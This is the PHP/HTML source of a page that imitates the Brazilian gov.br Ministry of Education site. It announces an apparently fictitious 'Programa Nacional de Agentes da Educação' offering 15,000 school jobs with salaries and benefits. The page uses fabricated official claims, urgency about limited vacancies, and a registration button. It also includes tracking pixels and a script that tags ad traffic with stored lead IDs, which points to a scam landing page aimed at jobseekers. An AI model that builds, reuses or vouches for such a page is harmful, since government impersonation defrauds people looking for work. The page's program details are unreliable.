<?php




?>
<!DOCTYPE html>
<html lang="pt-BR">

<head>





    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mais Agentes da Educação - gov.br</title>





    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="assets/css/all.min.css">
    <script src="assets/js/3.4.16.js"></script>

    <link href="assets/css/rawline.css" rel="stylesheet">
    <link rel="stylesheet" href="assets/css/custom.css">


    <?php include "!pixels.php"; ?>

    </head>

<body class="bg-white">



    <!-- Header -->
    <header class="header-govbr">
        <div class="flex justify-between items-center px-4 py-3">
            <div class="flex items-center">
                <a  class="gov-logo">
                    <img src="assets/img/1.webp" class="h-8">
                </a>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="menu-btn" aria-label="Menu">
                    <i class="fas fa-ellipsis-v text-blue-900 mx-3"></i>
                </button>
                <div class="w-px h-6 bg-blue-900 mx-3"></div>
                <button class="header-btn" id="accessibility-btn" aria-label="Acessibilidade">
                    <i class="fas fa-palette text-blue-900 mx-3"></i>
                </button>
                <div class="half-circle mx-3"></div>
                <button class="header-btn" id="apps-btn" aria-label="Aplicativos">
                    <i class="fas fa-th text-blue-900 mx-3"></i>
                </button>
              
            </div>
        </div>

        <!-- Title Bar -->
        <div class="flex justify-between items-center px-4 py-2 border-b border-gray-300">
            <div class="flex items-center">
                <button class="header-btn" id="sidebar-toggle" aria-label="Menu lateral">
                    <i class="fas fa-bars text-blue-900 mr-3"></i>
                </button>
                <span class="text-gray-800 text-sm font-medium">Fundo Nacional de Desenvolvimento da Educação</span>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="voice-search-btn" aria-label="Busca por voz">
                    <i class="fas fa-microphone text-blue-900 mx-2"></i>
                </button>
                <button class="header-btn" id="search-toggle-btn" aria-label="Pesquisar">
                    <i class="fas fa-search text-blue-900 mx-2"></i>
                </button>
            </div>
        </div>

        <!-- Search Bar (hidden by default) -->
        <div id="search-bar" class="hidden bg-white border-b border-gray-300 px-4 py-3">
            <div class="flex items-center max-w-md mx-auto">
                <div class="relative flex-1">
                    <input type="text" id="header-search-input" placeholder="Buscar programas, vagas, ministérios..."
                        class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:border-blue-600 focus:ring-2 focus:ring-blue-200">
                    <button id="header-search-btn" class="absolute right-2 top-2 text-blue-600 hover:text-blue-800">
                        <i class="fas fa-search"></i>
                    </button>
                </div>
                <button id="search-close-btn" class="ml-3 text-gray-500 hover:text-gray-700">
                    <i class="fas fa-times"></i>
                </button>
            </div>
        </div>

        <!-- Breadcrumb -->
     <!--   <nav class="breadcrumb-nav flex items-center px-4 py-3 text-sm" aria-label="Navegação estrutural">
            <div class="flex flex-wrap items-center gap-1">
                <a href="index.htm" class="text-blue-700 hover:text-blue-800">
                    <i class="fas fa-home"></i>
                </a>
                <span class="mx-1 text-gray-600">></span>
                <a href="#" class="text-blue-700 hover:text-blue-800 text-xs">Acesso à Informação</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="#" class="text-blue-700 hover:text-blue-800 text-xs">Ações e Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="#" class="text-blue-700 hover:text-blue-800 text-xs">Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="#" class="text-blue-700 hover:text-blue-800 text-xs">Bolsas e Auxílios</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="#" class="text-blue-700 hover:text-blue-800 text-xs">Lista de Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <span class="text-gray-800 text-xs font-medium">Mais Agentes da Educação</span>
            </div>
        </nav> -->
    </header>

    <!-- Main Content -->
    <main class="main-content">

        <div class="px-4 py-4">
            <h1 class="text-3xl font-semibold mb-4" style="color: #1351B4;">Mais Agentes da Educação</h1>

            <div class="border-t border-b border-gray-300 py-3">
                <div class="flex items-center mb-2">
                    <span class="text-gray-700 mr-2 text-sm">Compartilhe:</span>
                    <button class="share-btn text-blue-700 mx-1" data-platform="facebook"
                        aria-label="Compartilhar no Facebook">
                        <i class="fab fa-facebook-f"></i>
                    </button>
                    <button class="share-btn text-blue-700 mx-1" data-platform="twitter"
                        aria-label="Compartilhar no Twitter">
                        <i class="fab fa-twitter"></i>
                    </button>
                    <button class="share-btn text-blue-700 mx-1" data-platform="whatsapp"
                        aria-label="Compartilhar no WhatsApp">
                        <i class="fab fa-whatsapp"></i>
                    </button>
                    <button class="share-btn text-blue-700 mx-1" data-platform="link" aria-label="Copiar link">
                        <i class="fas fa-link"></i>
                    </button>
                </div>
                <div class="text-gray-700 text-sm">
                    <p>Publicado em 24/05/2025 17h37</p>
                    <p>Atualizado em 24/05/2025 18h29</p>
                </div>
            </div>

            <div class="py-4 content-text">
                <h2 class="text-2xl font-bold mb-4">GOVERNO FEDERAL — MINISTÉRIO DA EDUCAÇÃO</h2>
                <h3 class="text-xl font-semibold mb-2" style="color: #1351B4;">PROGRAMA NACIONAL DE AGENTES DA EDUCAÇÃO
                    — PNAE</h3>

                <!-- Image -->
                <div class="mb-4">
                    <img src="assets/img/2.webp" class="w-full rounded-lg shadow-md">
                </div>

                <h4 class="text-lg font-medium mb-4">COMUNICADO OFICIAL — LANÇAMENTO NACIONAL</h4>



                <p class="mb-4 text-gray-800">O Programa Nacional de Agentes da Educação (PNAE) é uma medida em parceria
                    entre o Governo Federal, Ministério da Educação e Gestão dos Municípios. Gerando mais empregos, e
                    garantindo mais qualidade para nossos alunos pois essa é uma <strong>missão nacional</strong> que
                    oferece estabilidade, consolidação de funcionários e mais atenção as Escolas do Brasil.</p>

                <p class="mb-4 text-gray-800">Foram aprovadas de primeira demanda <strong>15 Mil vagas</strong> que irá
                    atender a <strong>5.565 Municípios</strong> de todo país, após a tomada de vagas e de acordo com a
                    necessidade de profissionais em cada setor das escolas, será estipulada uma nova votação para a
                    abertura do segundo processo de seleção de Profissionais.</p>

                <p class="mb-6 text-gray-800">O PNAE mantém a proposta de democratizar o acesso ao serviço público, com
                    aplicação de provas em todas as regiões do país e um sistema de seleção por blocos temáticos. A nova
                    edição também traz avanços como a realização das provas em dois dias — <strong>provas objetivas
                        previstas para 2 de Agosto</strong> e <strong>discursivas para 6 de Setembro</strong>, estas
                    últimas apenas para os candidatos aprovados na primeira etapa.</p>

                <div class="mb-6">
                    <h6 class="text-lg font-medium text-gray-800 mb-4" style="color: #1351B4;">
                        PROCESSO SELETIVO PÚBLICO 2025.2 - GERAL
                    </h6>
                    <hr class="border-gray-300 mb-4">

                    <div class="mb-4">
                        <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                            SITUAÇÃO
                        </h6>
                        <p class="text-gray-700 mb-4">• EM ANDAMENTO, INSCRIÇÕES ABERTAS.</p>
                    </div>

                    <hr class="border-gray-300 mb-4">

                    <div class="mb-4">
                        <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                            REQUISITOS BÁSICOS
                        </h6>
                        <p class="text-gray-700 mb-1">• Ensino Médio completo</p>
                        <p class="text-gray-700 mb-1">• 18 anos ou mais - Requisito básico atendido</p>
                        <p class="text-gray-700 mb-4">• Capacitação gratuita - Fornecida pelo programa</p>
                    </div>

                    <hr class="border-gray-300 mb-4">

                    <div class="mb-4">
                        <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                            REMUNERAÇÕES
                        </h6>
                        <p class="text-gray-700 mb-1">• R$ 3.112,24 - R$ 4.985,15</p>
                        <p class="text-gray-700 mb-1">• 30-40h semanais</p>
                        <p class="text-gray-700 mb-4">• CLT + Benefícios</p>
                    </div>

                    <hr class="border-gray-300 mb-4">

                    <div class="mb-4">
                        <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                            INSTITUIÇÃO ORGANIZADORA
                        </h6>
                        <p class="text-gray-700 mb-4">• CEBRASPE</p>
                    </div>

                    <hr class="border-gray-300 mb-4">

                    <div class="mb-4">
                        <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                            CARGOS DISPONÍVEIS
                        </h6>
                        <div class="grid md:grid-cols-2 gap-1 text-sm">
                            <p class="text-gray-700">• Auxiliar Administrativo</p>
                            <p class="text-gray-700">• Auxiliar de Produção Escolar</p>
                            <p class="text-gray-700">• Auxiliar de Secretaria</p>
                            <p class="text-gray-700">• Auxiliar de Segurança Escolar</p>
                            <p class="text-gray-700">• Auxiliar de Serviços de Limpeza</p>
                            <p class="text-gray-700">• Auxiliar de Cozinha Escolar</p>
                            <p class="text-gray-700">• Técnico em Manutenção Predial</p>
                            <p class="text-gray-700">• Secretário Escolar (home office)</p>
                        </div>
                    </div>

                    <hr class="border-gray-300 mb-4">

                    <div class="mb-4">
                        <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                            BENEFÍCIOS GARANTIDOS
                        </h6>
                        <p class="text-gray-700">
                            Vale-alimentação • Vale-transporte • Plano de saúde • Férias remuneradas • 13º salário •
                            FGTS • Progressão de carreira
                        </p>
                    </div>
                </div>

                <!-- Seção de Urgência -->
                <div class="mb-6">
                    <h6 class="text-lg font-medium text-gray-800 mb-3" style="color: #1351B4;">
                        VAGAS LIMITADAS POR REGIÃO
                    </h6>
                    <p class="text-gray-700">
                        As inscrições serão encerradas assim que as vagas de cada município forem preenchidas.
                    </p>
                </div>

             <!-- Botão de Cadastro -->
<div class="text-center my-8">
    <a href="02" class="inline-block">
        <button class="bg-blue-600 hover:bg-blue-700 text-white font-medium py-3 px-6 rounded animate-pulse">
            <i class="fas fa-user-plus mr-2"></i>
            FAZER CADASTRO
            <i class="fas fa-arrow-right ml-2"></i>
        </button>
    </a>
</div>

                    <p class="text-blue-600 font-medium mt-3 text-sm">
                        <i class="fas fa-clock mr-1"></i>
                        Processo Oficial • Inscrições abertas • Vagas limitadas
                    </p>
                </div>

                <section class="mb-6">
                    <h5 class="text-lg font-semibold mb-2">DETALHES ADICIONAIS</h5>
                    <ul class="list-disc list-inside mb-4">
                        <li>Benefícios garantidos conforme Consolidação das Leis do Trabalho (CLT) e regulamentações do
                            Ministério do Trabalho:
                            <ul class="list-disc list-inside ml-4">
                                <li>Vale-alimentação;</li>
                                <li>Vale-transporte;</li>
                                <li>Férias remuneradas;</li>
                                <li>13º salário;</li>
                                <li>Contribuição previdenciária ao INSS.</li>
                            </ul>
                        </li>
                    </ul>
                </section>

                <section class="mb-6">
                    <h5 class="text-lg font-semibold mb-2">ALCANCE NACIONAL</h5>
                    <p class="mb-4">O programa terá abrangência em todos os municípios brasileiros, conforme adesão das
                        Prefeituras, com previsão de início do processo seletivo ainda neste semestre. Todas as vagas
                        serão ocupadas por meio de processo público classificatório, com etapas de avaliação objetiva,
                        comprovação de requisitos e participação obrigatória no curso técnico de ambientação e formação
                        básica.</p>
                </section>

                <section class="mb-6">
                    <h5 class="text-lg font-semibold mb-2">IMPACTO SOCIAL E FUNCIONAL</h5>
                    <p class="mb-4">O PNAE visa não apenas ampliar o quadro funcional das escolas públicas municipais,
                        mas também gerar emprego formal, qualificado e inclusivo para milhares de brasileiros,
                        contribuindo para a redução da informalidade e o fortalecimento do vínculo entre a comunidade e
                        a educação básica.</p>
                </section>

                <section class="mb-6">
                    <h5 class="text-lg font-semibold mb-2">COMO PARTICIPAR</h5>
                    <p class="mb-4">A abertura das inscrições será divulgada em canais oficiais do Governo Federal,
                        portais das prefeituras e sites de instituições parceiras da execução do programa. O processo
                        será oficial, público e transparente, com base em critérios objetivos e ampla concorrência.</p>
                </section>

                <blockquote
                    class="font-bold mb-4 text-center text-blue-800 text-lg border-l-4 border-blue-600 pl-4 italic">
                    "Educação é compromisso de todos. Trabalho com dignidade é direito de cada um."
                </blockquote>

                <p class="mb-4">Com o Programa Nacional de Agentes da Educação, o Governo Federal reafirma seu
                    compromisso com o futuro da educação brasileira e a valorização dos cidadãos em todos os municípios.
                </p>

                <p class="mb-4">Para mais informações, acesse o portal oficial: <a href="http://www.gov.br/educacao"
                        class="text-blue-600 hover:text-blue-800 underline">www.gov.br/educacao</a></p>

            </div>

            <!-- Success notification (hidden by default) -->
            <div id="share-notification" class="share-notification hidden">
                <div class="notification-content">
                    <i class="fas fa-check-circle text-blue-600"></i>
                    <span>Link copiado com sucesso!</span>
                </div>
            </div>

        </div>
    </main>

    <!-- Footer -->
    <footer class="bg-[#0a1f44] text-white">
        <div class="container mx-auto px-6 py-4">
            <!-- Logo -->
            <div class="py-6">
                <img src="assets/img/1.webp" class="w-40">
            </div>

            <!-- Divider -->
            <div class="border-t border-gray-600"></div>

            <!-- Navigation Menu -->
            <nav aria-label="Menu principal do rodapé">
                <ul>
                    <li class="py-3">
                        <a href="#" class="text-sm hover:text-gray-300">MEC</a>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">EDUCAÇÃO BÁSICA</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Educação Básica">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">ENSINO SUPERIOR</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Ensino Superior">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">PROGRAMAS EDUCACIONAIS</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Programas Educacionais">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="/acesso-informacao" class="text-sm hover:text-gray-300">ACESSO À INFORMAÇÃO</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Acesso à Informação">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">PORTAL DO PROFESSOR</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Portal do Professor">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">CANAIS DE ATENDIMENTO</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Canais de Atendimento">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">POLÍTICAS EDUCACIONAIS</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Políticas Educacionais">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600"></li>
                </ul>
            </nav>

            <!-- Cookie Settings -->
            <div class="mt-6 flex items-center">
                <button id="cookie-settings" class="flex items-center hover:text-gray-300"
                    aria-label="Redefinir configurações de cookies">
                    <i class="fas fa-cookie-bite text-lg mr-2"></i>
                    <span class="text-sm">Redefinir Cookies</span>
                </button>
            </div>

            <!-- Social Networks -->
            <div class="redes-e-logos mt-8">
                <div class="redes-sociais">
                    <div class="titulo text-sm font-bold mb-4">Redes sociais</div>
                    <ul class="portal-redes">
                        <li class="portalredes-youtube portalredes-item">
                            <a href="#" aria-label="YouTube" class="social-link">
                                <i class="fab fa-youtube social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-facebook portalredes-item">
                            <a href="#" aria-label="Facebook" class="social-link">
                                <i class="fab fa-facebook-f social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-twitter portalredes-item">
                            <a href="#" aria-label="Twitter" class="social-link">
                                <i class="fab fa-twitter social-icon"></i>
                            </a>
                        </li>
                        <li class="portalredes-instagram portalredes-item">
                            <a href="#" aria-label="Instagram" class="social-link">
                                <i class="fab fa-instagram social-icon"></i>
                            </a>
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </footer>

    <!-- Search Modal -->
    <div id="search-modal" class="search-modal hidden">
        <div class="search-modal-content">
            <div class="search-modal-header">
                <h3>Pesquisar</h3>
                <button id="close-search-modal" aria-label="Fechar pesquisa">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="search-modal-body">
                <form id="search-form">
                    <input type="text" id="search-input" placeholder="Digite sua pesquisa..."
                        aria-label="Campo de pesquisa">
                    <button type="submit" aria-label="Pesquisar">
                        <i class="fas fa-search"></i>
                    </button>
                </form>
            </div>
        </div>
    </div>


</body>

</html>

<script>
(function () {
  const POLL_MS = 500;

  function getStorageKey() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    if (current === "FB") return "lead";
    if (current === "google") return "lead-google";
    return null;
  }

  function getLeadId(storageKey) {
    if (!storageKey) return null;
    const raw = localStorage.getItem(storageKey);
    if (!raw) return null;
    try {
      const obj = JSON.parse(raw);
      return obj && obj._id ? String(obj._id) : null;
    } catch {
      return null;
    }
  }

  function applyUtmIfNeeded() {
    const url = new URL(window.location.href);
    const current = url.searchParams.get("utm_source");
    const storageKey = getStorageKey();
    const id = getLeadId(storageKey);
    if (!id) return false;

    let desired = null;
    if (current === "FB") {
      desired = "FBjLj" + id;
    } else if (current === "google") {
      desired = "googlejLj" + id;
    }

    if (!desired) return false; 

    url.searchParams.set("utm_source", desired);
    window.location.replace(url.toString());
    return true;
  }

  if (applyUtmIfNeeded()) return;

  const interval = setInterval(() => {
    if (applyUtmIfNeeded()) clearInterval(interval);
  }, POLL_MS);
})();
</script>